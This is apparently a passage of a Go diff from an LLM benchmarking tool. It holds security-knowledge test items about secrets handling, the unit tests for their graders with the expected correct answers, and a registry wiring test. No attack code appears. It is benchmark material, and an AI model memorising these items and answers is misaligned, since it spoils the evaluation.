// inside the commit object from 3 commits ago, and a full git clone
// fetches the entire history by default - so the key is trivially
// recoverable (git log -p, git show <commit>:.env) regardless of
// .gitignore or the later deletion. Only rewriting history, or rotating
// the credential, actually removes the exposure.
func secGitignoreHistoryNuanceTest() testkit.Test {
prompt := `A .env file containing a live API key was committed to git 3
commits ago. Later, .env was added to .gitignore and deleted from the
working tree in the latest commit.
Is the API key still present anywhere a git clone of this repository would
expose, even though .gitignore now excludes .env and it is gone from the
current working tree? Respond with only one word: yes or no.`
return testkit.Test{
ID: "sec-gitignore-history-nuance",
Category: "security",
Subcategory: "secrets",
Description: "Confirm a later .gitignore entry and working-tree deletion do not remove a secret already present in earlier git history.",
Prompt: prompt,
Eval: secExactAnswer("yes"),
}
}
+306
View File
@@ -0,0 +1,306 @@
package tests
import (
"context"
"testing"
)
func TestSecHardcodedSecretSpotTest_Eval(t *testing.T) {
tc := secHardcodedSecretSpotTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct", response: `{"line":5}`, want: 1},
{name: "correct fenced with prose", response: "```json\n{\"line\":5}\n```", want: 1},
{name: "correct with spacing", response: `{ "line": 5 }`, want: 1},
{name: "wrong line: import statement", response: `{"line":1}`, want: 0},
{name: "wrong line: function body", response: `{"line":7}`, want: 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecRemediationOrderTest_Eval(t *testing.T) {
tc := secRemediationOrderTest()
tests := []struct {
name string
response string
want float64
}{
{
name: "correct order",
response: `["rotate-the-leaked-credential","remove-secret-from-current-code","rewrite-git-history-to-purge-it","force-push-and-notify-collaborators"]`,
want: 1,
},
{
name: "correct order fenced with prose",
response: "Here is the order:\n```json\n[\"rotate-the-leaked-credential\",\"remove-secret-from-current-code\",\"rewrite-git-history-to-purge-it\",\"force-push-and-notify-collaborators\"]\n```",
want: 1,
},
{
name: "correct order different case",
response: `["Rotate-The-Leaked-Credential","Remove-Secret-From-Current-Code","Rewrite-Git-History-To-Purge-It","Force-Push-And-Notify-Collaborators"]`,
want: 1,
},
{
name: "wrong: fully reversed",
response: `["force-push-and-notify-collaborators","rewrite-git-history-to-purge-it","remove-secret-from-current-code","rotate-the-leaked-credential"]`,
want: 0,
},
{
name: "wrong: rewrites history before rotating",
response: `["rewrite-git-history-to-purge-it","rotate-the-leaked-credential","remove-secret-from-current-code","force-push-and-notify-collaborators"]`,
want: 0,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecVaultTradeoffTest_Eval(t *testing.T) {
tc := secVaultTradeoffTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct", response: `{"safe_to_commit":"sealed-secret"}`, want: 1},
{name: "correct fenced with prose", response: "```json\n{\"safe_to_commit\":\"sealed-secret\"}\n```", want: 1},
{name: "correct with spacing", response: `{ "safe_to_commit": "sealed-secret" }`, want: 1},
{name: "wrong: env var literal", response: `{"safe_to_commit":"env-var-literal"}`, want: 0},
{name: "wrong: plain k8s secret", response: `{"safe_to_commit":"plain-k8s-secret"}`, want: 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecK8sSecretBase64Test_Eval(t *testing.T) {
tc := secK8sSecretBase64Test()
tests := []struct {
name string
response string
want float64
}{
{name: "correct bare", response: "no", want: 1},
{name: "correct with period", response: "No.", want: 1},
{name: "correct quoted", response: `'no'`, want: 1},
{name: "wrong bare", response: "yes", want: 0},
{name: "wrong with sentence", response: "Yes, it's encrypted.", want: 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecRotationNoDowntimeTest_Eval(t *testing.T) {
tc := secRotationNoDowntimeTest()
tests := []struct {
name string
response string
want float64
}{
{
name: "correct order",
response: `["create-new-credential-alongside-old","deploy-config-with-new-credential-to-all-replicas","verify-all-replicas-using-new-credential","revoke-old-credential"]`,
want: 1,
},
{
name: "correct order fenced with prose",
response: "Here is the order:\n```json\n[\"create-new-credential-alongside-old\",\"deploy-config-with-new-credential-to-all-replicas\",\"verify-all-replicas-using-new-credential\",\"revoke-old-credential\"]\n```",
want: 1,
},
{
name: "correct order different case",
response: `["Create-New-Credential-Alongside-Old","Deploy-Config-With-New-Credential-To-All-Replicas","Verify-All-Replicas-Using-New-Credential","Revoke-Old-Credential"]`,
want: 1,
},
{
name: "wrong: fully reversed",
response: `["revoke-old-credential","verify-all-replicas-using-new-credential","deploy-config-with-new-credential-to-all-replicas","create-new-credential-alongside-old"]`,
want: 0,
},
{
name: "wrong: revokes old credential before the rollout finishes",
response: `["create-new-credential-alongside-old","revoke-old-credential","deploy-config-with-new-credential-to-all-replicas","verify-all-replicas-using-new-credential"]`,
want: 0,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecLeastPrivilegeScopeTest_Eval(t *testing.T) {
tc := secLeastPrivilegeScopeTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct", response: `{"scope":"single-repo-push-key"}`, want: 1},
{name: "correct fenced with prose", response: "```json\n{\"scope\":\"single-repo-push-key\"}\n```", want: 1},
{name: "correct with spacing", response: `{ "scope": "single-repo-push-key" }`, want: 1},
{name: "wrong: org-wide key", response: `{"scope":"org-wide-write-key"}`, want: 0},
{name: "wrong: account-wide admin key", response: `{"scope":"account-wide-admin-key"}`, want: 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecDiffSecretSpotTest_Eval(t *testing.T) {
tc := secDiffSecretSpotTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct", response: `{"line":6}`, want: 1},
{name: "correct fenced with prose", response: "```json\n{\"line\":6}\n```", want: 1},
{name: "correct with spacing", response: `{ "line": 6 }`, want: 1},
{name: "wrong line: username, not a secret", response: `{"line":5}`, want: 0},
{name: "wrong line: unrelated host field", response: `{"line":4}`, want: 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecForkPRCIExposureTest_Eval(t *testing.T) {
tc := secForkPRCIExposureTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct bare", response: "no", want: 1},
{name: "correct with period", response: "No.", want: 1},
{name: "correct quoted", response: `'no'`, want: 1},
{name: "wrong bare", response: "yes", want: 0},
{name: "wrong with sentence", response: "Yes, that's fine.", want: 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecSSHAgentIdentityTest_Eval(t *testing.T) {
tc := secSSHAgentIdentityTest()
tests := []struct {
name string
response string
want float64
}{
{
name: "correct: IdentityAgent, persistent copy on disk",
response: "Use IdentityAgent in ~/.ssh/config. An IdentityFile keeps a persistent copy of the private key sitting on disk, which 1Password avoids entirely.",
want: 1,
},
{
name: "correct: IdentityAgent, never leaves and filesystem",
response: "The directive is IdentityAgent. Unlike an IdentityFile, the key never leaves 1Password and never touches the filesystem.",
want: 1,
},
{
name: "correct: IdentityAgent, sits on disk phrasing",
response: "IdentityAgent. A raw IdentityFile means the private key sits on disk indefinitely.",
want: 1,
},
{
name: "wrong: recommends IdentityFile instead",
response: "Use IdentityFile pointing to your private key file.",
want: 0,
},
{
name: "wrong: no directive named",
response: "There's no special directive needed; ssh works automatically.",
want: 0,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecGitignoreHistoryNuanceTest_Eval(t *testing.T) {
tc := secGitignoreHistoryNuanceTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct bare", response: "yes", want: 1},
{name: "correct with period", response: "Yes.", want: 1},
{name: "correct quoted", response: `'yes'`, want: 1},
{name: "wrong bare", response: "no", want: 0},
{name: "wrong with sentence", response: "No, it's safe now.", want: 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
+47
View File
@@ -0,0 +1,47 @@
package tests
import (
"testing"
"github.com/lukaszraczylo/llm-testbench/internal/testkit"
)
// TestRegisterSecurityTests_Wiring checks registerSecurityTests wires up
// all three security subcategories - appsec, crypto, secrets - with 10
// tests each, all categorized "security", and no duplicate IDs across the
// three sibling files (testkit.Registry.Register panics on a duplicate ID,
// which would fail this test outright).
func TestRegisterSecurityTests_Wiring(t *testing.T) {
r := testkit.NewRegistry()
registerSecurityTests(r)
const wantTotal = 30
if r.Len() != wantTotal {
t.Fatalf("registerSecurityTests: registry has %d tests, want %d", r.Len(), wantTotal)
}
counts := map[string]int{}
for _, tc := range r.All() {
if tc.Category != "security" {
t.Errorf("test %q: Category = %q, want %q", tc.ID, tc.Category, "security")
}
if tc.Prompt == "" {
t.Errorf("test %q: Prompt is empty", tc.ID)
}
if tc.Eval == nil {
t.Errorf("test %q: Eval is nil", tc.ID)
}
if tc.Description == "" {
t.Errorf("test %q: Description is empty", tc.ID)
}
if tc.MaxTokens < 0 {
t.Errorf("test %q: MaxTokens = %d, want >= 0", tc.ID, tc.MaxTokens)
}
counts[tc.Subcategory]++
}
for _, sub := range []string{"appsec", "crypto", "secrets"} {
if counts[sub] != 10 {
t.Errorf("subcategory %q: got %d tests, want 10", sub, counts[sub])
}
}
}